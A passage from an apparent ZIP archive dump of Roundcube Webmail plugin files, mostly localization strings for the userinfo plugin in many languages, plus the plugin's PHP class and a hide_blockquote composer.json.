$labels['lastlogin'] = 'Masuk Terakhir';
$labels['defaultidentity'] = 'Identitas Standar';
$labels['userid'] = 'ID';
PKh�\M���22'plugins/userinfo/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Felhasználói információ';
$labels['infoforuser'] = 'Információ $user számára';
$labels['created'] = 'Létrehozva';
$labels['lastlogin'] = 'Utolsó bejelentkezés';
$labels['defaultidentity'] = 'Alapértelmezett azonosító';
$labels['userid'] = 'ID';
PKh�\'w���'plugins/userinfo/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informații utilizator';
$labels['created'] = 'Data creării';
$labels['lastlogin'] = 'Ultima autentificare';
$labels['defaultidentity'] = 'Identitate principală';
$labels['userid'] = 'ID';
PKh�\ze�5��$plugins/userinfo/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informoj pri uzanto';
$labels['created'] = 'Kreita';
$labels['lastlogin'] = 'Lasta ensaluto';
$labels['defaultidentity'] = 'Apriora idento';
PKh�\ڝ�2'plugins/userinfo/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Infos utilisateur';
$labels['infoforuser'] = 'Renseignements pour $user';
$labels['created'] = 'Créé';
$labels['lastlogin'] = 'Dernière connexion';
$labels['defaultidentity'] = 'Identité par défaut';
$labels['userid'] = 'ID';
PKh�\�����'plugins/userinfo/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informacije o korisniku';
$labels['created'] = 'Stvoreno';
$labels['lastlogin'] = 'Zadnja prijava (login)';
$labels['defaultidentity'] = 'Preddefinirani identitet';
$labels['userid'] = 'ID';
PKh�\hJY�'plugins/userinfo/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informacje';
$labels['infoforuser'] = 'Informacje o $user';
$labels['created'] = 'Utworzony';
$labels['lastlogin'] = 'Ostatnie logowanie';
$labels['defaultidentity'] = 'Domyślna tożsamość';
$labels['userid'] = 'Id';
PKh�\>)8ǭ�'plugins/userinfo/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'वापरकर्त्याची माहिती';
$labels['created'] = 'निर्माण केलेले';
PKh�\�0'plugins/userinfo/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'ユーザー情報';
$labels['infoforuser'] = '$user の情報';
$labels['created'] = '作成日時';
$labels['lastlogin'] = '最後のログイン';
$labels['defaultidentity'] = '既定の識別情報';
$labels['userid'] = 'ID';
PKh�\�\��'plugins/userinfo/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Brukarinfo';
$labels['created'] = 'Laga';
$labels['lastlogin'] = 'Sist logga inn';
$labels['defaultidentity'] = 'Standardidentitet';
PKh�\ےV���%plugins/userinfo/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Información d\'usuariu';
$labels['created'] = 'Creáu';
$labels['lastlogin'] = 'Aniciu de sesión caberu';
$labels['defaultidentity'] = 'Identidá por defeutu';
PKh�\��"		'plugins/userinfo/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Подаци о кориснику';
$labels['created'] = 'Направљено';
$labels['lastlogin'] = 'Последња пријава';
$labels['defaultidentity'] = 'подразумевани идентитет';
PKh�\�	�p��'plugins/userinfo/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Benotzer-Info';
$labels['created'] = 'Erstallt';
$labels['lastlogin'] = 'Leschte Login';
$labels['defaultidentity'] = 'Standard-Identitéit';
PKh�\�+/��'plugins/userinfo/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'اطلاعات کاربر';
$labels['created'] = 'ایجاد شد';
$labels['lastlogin'] = 'آخرین ورود';
$labels['defaultidentity'] = 'هویت پیش فرض';
PKh�\
w*��$plugins/userinfo/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Titouroù an arveriad';
$labels['created'] = 'Krouet';
$labels['lastlogin'] = 'Kennask diwezhañ';
$labels['defaultidentity'] = 'Identelezh dre ziouer';
$labels['userid'] = 'Naoudi';
PKh�\���'plugins/userinfo/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Информации за корисникот ';
$labels['created'] = 'Создадени ';
$labels['lastlogin'] = 'Последно најавување ';
$labels['defaultidentity'] = 'Стандарден идентитет ';
PKh�\*�v�55'plugins/userinfo/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'ព័ត៌មាន​អ្នក​ប្រើ';
$labels['created'] = 'បាន​បង្កើត';
$labels['lastlogin'] = 'ចូល​ចុងក្រោយ';
$labels['defaultidentity'] = 'អត្តសញ្ញាណ​លំនាំដើម';
PKh�\!dV��'plugins/userinfo/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Хэрэглэгчийн мэдээлэл';
$labels['created'] = 'Үүссэн';
$labels['lastlogin'] = 'Сүүлчийн нэвтрэлт';
$labels['defaultidentity'] = 'Үндсэн мэдээлэл';
PKh�\�\�EE'plugins/userinfo/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'פרטי המשתמש';
$labels['infoforuser'] = 'מידע עבור user$';
$labels['created'] = 'נוצר';
$labels['lastlogin'] = 'הכמיסה האחרונה למערכת';
$labels['defaultidentity'] = 'זהות ברירת מחדל';
$labels['userid'] = 'קוד זיהוי';
PKh�\�9k�'plugins/userinfo/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Faisnéis an úsáideora';
$labels['created'] = 'Cruthaithe';
$labels['lastlogin'] = 'Ceangailte an uair dheireanach';
$labels['defaultidentity'] = 'An chéannacht réamhshocraithe';
$labels['userid'] = 'Aitheantas';
PKh�\�~�'plugins/userinfo/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Brugerinfo';
$labels['infoforuser'] = 'Information til $user';
$labels['created'] = 'Oprettet';
$labels['lastlogin'] = 'Sidste login';
$labels['defaultidentity'] = 'Standardidentitet';
$labels['userid'] = 'ID';
PKh�\8���'plugins/userinfo/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Podatki o uporabniku';
$labels['created'] = 'Ustvarjen';
$labels['lastlogin'] = 'Zadnja prijava';
$labels['defaultidentity'] = 'Privzeta identiteta';
PKh�\v���$plugins/userinfo/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'معلومات المستخدم';
$labels['created'] = 'تم إنشاؤه';
$labels['lastlogin'] = 'آخر تسجيلٍ للدخول';
$labels['defaultidentity'] = 'الهوية الإفتراضية';
PKh�\H�'plugins/userinfo/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Benutzerinformation';
$labels['infoforuser'] = 'Info für $user';
$labels['created'] = 'Angelegt';
$labels['lastlogin'] = 'Letzte Anmeldung';
$labels['defaultidentity'] = 'Standardidentität';
$labels['userid'] = 'Kennung';
PKh�\�Cf�'plugins/userinfo/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Användarinfo';
$labels['infoforuser'] = 'Info för $user';
$labels['created'] = 'Skapad';
$labels['lastlogin'] = 'Senast inloggad';
$labels['defaultidentity'] = 'Standardidentitet';
$labels['userid'] = 'ID';
PKh�\�a�77$plugins/userinfo/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'ئىشلەتكۈچى ئۇچۇرى';
$labels['infoforuser'] = 'user$ ئۇچۇرى';
$labels['created'] = 'قۇرۇلدى';
$labels['lastlogin'] = 'ئاخىرقى كىرىش';
$labels['defaultidentity'] = 'سۈكۈت كىملىك';
$labels['userid'] = 'نۇمۇر';
PKh�\��:�'plugins/userinfo/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = '사용자 정보';
$labels['infoforuser'] = '$user 정보';
$labels['created'] = '생성 날짜';
$labels['lastlogin'] = '마지막 로그인 날짜';
$labels['defaultidentity'] = '기본 신원';
$labels['userid'] = 'ID';
PKh�\���'plugins/userinfo/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Información de persoa usuaria';
$labels['created'] = 'Creado';
$labels['lastlogin'] = 'Última conexión';
$labels['defaultidentity'] = 'Identidade predeterminada';
PKh�\Uz7'plugins/userinfo/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informazioni utente';
$labels['infoforuser'] = 'Informazioni per $user';
$labels['created'] = 'Creato';
$labels['lastlogin'] = 'Ultimo Login';
$labels['defaultidentity'] = 'Identità predefinita';
$labels['userid'] = 'ID';
PKh�\�I�'plugins/userinfo/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Información de usuario';
$labels['infoforuser'] = 'Info para $user';
$labels['created'] = 'Creado';
$labels['lastlogin'] = 'Último Ingreso';
$labels['defaultidentity'] = 'Identidad predeterminada';
$labels['userid'] = 'ID';
PKh�\�L�"DD'plugins/userinfo/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'ഉപയോക്താവിന്റെ വിവരം';
$labels['created'] = 'നിര്‍മ്മിച്ചു';
$labels['lastlogin'] = 'അവസാന പ്രവേശനം';
$labels['defaultidentity'] = 'സാധാരണ വ്യക്തിത്വം';
PKh�\�q�'plugins/userinfo/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Gebruikersinformatie';
$labels['infoforuser'] = 'Informatie over $user';
$labels['created'] = 'Aangemaakt';
$labels['lastlogin'] = 'Laatste aanmelding';
$labels['defaultidentity'] = 'Standaardidentiteit';
$labels['userid'] = 'ID';
PKh�\a��'plugins/userinfo/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Gwybodaeth defnyddiwr';
$labels['infoforuser'] = 'Gwybodaeth ar gyfer $user';
$labels['created'] = 'Crëwyd';
$labels['lastlogin'] = 'Mewngofnodiad diwethaf';
$labels['defaultidentity'] = 'Personoliaeth arferol';
$labels['userid'] = 'ID';
PKh�\X�\��'plugins/userinfo/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'User info';
$labels['infoforuser'] = 'Info for $user';
$labels['created'] = 'Created';
$labels['lastlogin'] = 'Last Login';
$labels['defaultidentity'] = 'Default Identity';
$labels['userid'] = 'ID';
PKh�\��X�'plugins/userinfo/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Brúkara upplýsing';
$labels['infoforuser'] = 'Upplýsingar fyri brúkara';
$labels['created'] = 'Stovnaður';
$labels['lastlogin'] = 'Seinast innritaður';
$labels['defaultidentity'] = 'Sjálvsett samleiki';
$labels['userid'] = 'ID';
PKh�\���(('plugins/userinfo/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informacija apie naudotoją';
$labels['infoforuser'] = 'Informacija apie $user';
$labels['created'] = 'Sukurtas';
$labels['lastlogin'] = 'Paskutinį kartą prisijungė';
$labels['defaultidentity'] = 'Numatytoji tapatybė';
$labels['userid'] = 'ID';
PKh�\�!!!'plugins/userinfo/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Informações do utilizador';
$labels['infoforuser'] = 'Informações de $user';
$labels['created'] = 'Criado em';
$labels['lastlogin'] = 'Último acesso em';
$labels['defaultidentity'] = 'Identidade pré-definida';
$labels['userid'] = 'ID';
PKh�\�꜅�'plugins/userinfo/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Userinfo plugin            |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/
*/

$labels['userinfo'] = 'Πληροφορίες χρήστη ';
$labels['infoforuser'] = 'Πληροφορίες χρήστη $user';
$labels['created'] = 'Δημιουργηθηκε';
$labels['lastlogin'] = 'Τελευταια συνδεση';
$labels['defaultidentity'] = 'Προκαθορισμένη ταυτότητα';
$labels['userid'] = 'Ταυτότητα';
PKh�\�NI�

plugins/userinfo/userinfo.phpnu�[���<?php

/**
 * Sample plugin that adds a new tab to the settings section
 * to display some information about the current user
 */
class userinfo extends rcube_plugin
{
    public $task    = 'settings';
    public $noajax  = true;
    public $noframe = true;

    function init()
    {
        $this->add_texts('localization/', ['userinfo']);
        $this->add_hook('settings_actions', [$this, 'settings_actions']);
        $this->register_action('plugin.userinfo', [$this, 'infostep']);
    }

    function settings_actions($args)
    {
        $args['actions'][] = [
            'action' => 'plugin.userinfo',
            'class'  => 'userinfo',
            'label'  => 'userinfo',
            'domain' => 'userinfo',
        ];

        return $args;
    }

    function infostep()
    {
        $this->register_handler('plugin.body', [$this, 'infohtml']);

        $rcmail = rcmail::get_instance();
        $rcmail->output->set_pagetitle($this->gettext('userinfo'));
        $rcmail->output->send('plugin');
    }

    function infohtml()
    {
        $rcmail   = rcmail::get_instance();
        $user     = $rcmail->user;
        $identity = $user->get_identity();

        $table = new html_table(['cols' => 2, 'class' => 'propform']);

        $table->add('title', html::label('', rcube::Q($this->gettext('userid'))));
        $table->add('', rcube::Q($user->ID));

        $table->add('title', html::label('', rcube::Q($this->gettext('username'))));
        $table->add('', rcube::Q($user->data['username']));

        $table->add('title', html::label('', rcube::Q($this->gettext('server'))));
        $table->add('', rcube::Q($user->data['mail_host']));

        $table->add('title', html::label('', rcube::Q($this->gettext('created'))));
        $table->add('', rcube::Q($user->data['created']));

        $table->add('title', html::label('', rcube::Q($this->gettext('lastlogin'))));
        $table->add('', rcube::Q($user->data['last_login']));

        $table->add('title', html::label('', rcube::Q($this->gettext('defaultidentity'))));
        $table->add('', rcube::Q($identity['name'] . ' <' . $identity['email'] . '>'));

        $legend = rcube::Q($this->gettext(['name' => 'infoforuser', 'vars' => ['user' => $user->get_username()]]));
        $out    = html::tag('fieldset', '', html::tag('legend', '', $legend) . $table->show());

        return html::div(['class' => 'box formcontent'],
            html::div(['class' => 'boxtitle'], $this->gettext('userinfo'))
            . html::div(['class' => 'boxcontent'], $out)
        );
    }
}
PKh�\G��<SS%plugins/hide_blockquote/composer.jsonnu�[���{
    "name": "roundcube/hide_blockquote",
    "type": "roundcube-plugin",
    "description": "This allows to hide long blocks of cited text in messages.",
    "license": "GPL-3.0-or-later",
    "version": "1.0",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�t��.plugins/hide_blockquote/hide_blockquote.min.jsnu�[���/**
 * Hide Blockquotes plugin script
 *
